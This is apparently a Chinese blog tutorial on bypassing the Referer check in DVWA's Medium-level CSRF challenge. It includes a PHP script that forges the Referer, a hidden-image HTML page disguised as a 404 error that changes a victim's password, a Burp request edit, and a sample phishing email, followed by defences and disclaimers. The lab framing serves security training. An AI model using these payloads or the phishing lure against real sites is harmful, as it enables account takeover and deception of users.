【DVWA系列】——CSRF——Medium详细教程

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

文章目录

本文环境Security Level:Medium

跨站请求伪造攻击CSRF(Cross-Site Request Forgery) 是一种利用受害者已登录的会话,在不知情的情况下执行恶意操作的攻击方式。

在DVWA的 Medium 级别,开发者增加了一些防护措施,但仍然存在绕过方法。


攻击流程(Medium级别)

理解Medium级别的防护

Medium 级别,DVWA增加了 Referer检查,即:

  • 服务器会检查请求的 Referer 头,确保请求来自 同一域名 (如 http://<靶机IP>/dvwa/)。
  • 如果 Referer 不存在或来自外部网站,请求会被拒绝。

绕过思路

  1. 伪造Referer(让服务器误认为请求来自合法来源)。
  2. 利用浏览器特性(某些浏览器允许修改Referer)。
  3. 使用短链接或302跳转(隐藏真实来源)。

构造恶意页面(绕过Referer检查)

方法1:伪造Referer(PHP代理)
  1. 创建一个 PHP代理页面csrf_proxy.php),放在攻击者的服务器上或者在服务器根目录(www)新建文件 csrf_proxy.php。
php 复制代码
  <?php
// 伪造Referer:必须与目标服务器IP/域名完全一致
header("Referer: http://192.168.1.112/dvwa/"); 

// 构造攻击URL:修改密码为123456
$url = "http://192.168.1.112/dvwa/vulnerabilities/csrf/?
       password_new=123456&password_conf=123456&Change=Change";

// 发送请求并返回结果
echo file_get_contents($url);
?>

注意: 192.168.1.112→ 替换为​​目标DVWA服务器的IP​​(通过访问DVWA时浏览器地址栏获取)

  1. 受害者访问:
http 复制代码
http://<攻击者IP>/csrf_proxy.php   // 本地测试用 http://localhost/csrf_proxy.php
  • 由于 Referer 被伪造,服务器会认为请求来自 http://<靶机IP>/dvwa/,从而绕过检查。

方法2:HTML页面绕过(无需服务器)

适用场景 :攻击者只能托管静态HTML文件。
步骤

  1. 创建文件 192.168.1.112.html(文件名必须包含目标IP),写入以下代码:

    html 复制代码
    <img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" style="display:none;">
    <h1>404 Not Found</h1>
    • 关键点 :文件名包含目标IP(如192.168.1.112.html),浏览器访问时会自动携带该IP到Referer。
  2. 将文件上传至任意Web服务器(如Apache的/var/www/html/目录)。

  3. 诱导受害者访问:

    http 复制代码
    http://<攻击者IP>/192.168.1.112.html
    • 页面显示"404 Not Found",但隐藏的<img>标签已触发密码修改请求。
  4. 验证结果 :同上,用新密码123456登录DVWA。


方法3:Burp Suite手动修改Referer

适用场景 :本地测试或需快速验证漏洞。
步骤

  1. 用浏览器访问DVWA的CSRF页面 → 输入新密码(如123456)→ 点击 "Change"

  2. 打开 Burp Suite → 开启代理拦截(Proxy → Intercept ON)→ 捕获请求。

  3. 修改HTTP请求头:

    http 复制代码
    GET /dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change HTTP/1.1
    Host: 192.168.1.112
    Referer: http://192.168.1.112/dvwa/  # 手动添加此行
  4. 点击 "Forward" 发送请求 → 页面显示 "Password Changed" 即成功。


诱导受害者访问恶意链接

  • 钓鱼邮件

    复制代码
    亲爱的用户,您的账户存在安全风险,请立即点击以下链接修改密码:
    http://<攻击者IP>/csrf_proxy.php
  • 社交工程

    • 在论坛、评论区发布"有趣的内容",诱导用户点击。
    • 使用短链接(如 bit.ly)隐藏真实URL。

防御方案(开发者视角)

  1. 使用CSRF Token (最有效):

    php 复制代码
    session_start();
    if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("非法请求!");
    }
  2. 检查Origin头 (比Referer更可靠):

    php 复制代码
    if ($_SERVER['HTTP_ORIGIN'] !== 'http://<合法域名>') {
        die("非法来源!");
    }
  3. SameSite Cookie (防止跨站请求):

    php 复制代码
    session_set_cookie_params(['samesite' => 'Strict']);

总结

  • Medium级别防护Referer 检查,但可被伪造或绕过。
  • 攻击方式
    • 伪造 Referer(PHP代理)。
    • 302跳转(短链接)。
    • <iframe> + meta 刷新。
  • 防御关键CSRF Token + SameSite Cookie,彻底防止CSRF攻击。

⚠️ 注意:此技术仅用于授权测试,未经许可的渗透属于违法行为!
宇宙级免责声明​​

🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨

1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。

2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。

3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。

4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。

5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。

6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。

7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

相关推荐
归于尽1 分钟前
揭秘:TypeScript 类型系统是如何给代码穿上 “防弹衣” 的
前端·typescript
today喝咖啡了吗13 分钟前
uniapp 动态控制横屏(APP 端)
前端·javascript·uni-app
Web极客码17 分钟前
如何在服务器上获取Linux目录大小
linux·服务器·javascript
Carolinemy17 分钟前
VSCode 中AI代码补全插件推荐
前端·visual studio code
Sapphire~17 分钟前
重学前端007 --- CSS 排版
前端
G018_star sky♬18 分钟前
Syntax Error: Error: PostCSS received undefined instead of CSS string
前端·css·postcss
泉城老铁18 分钟前
Spring Boot + Vue 实现 DeepSeek 对话效果详细步骤
前端·vue.js·后端
忠实米线19 分钟前
分享一个css的吸附效果scroll-snap-type
前端·css
代码的余温21 分钟前
CSS隐藏元素:display:none vs visibility:hidden
前端·css
.又是新的一天.22 分钟前
HTML常用标签汇总(精简版)
前端·html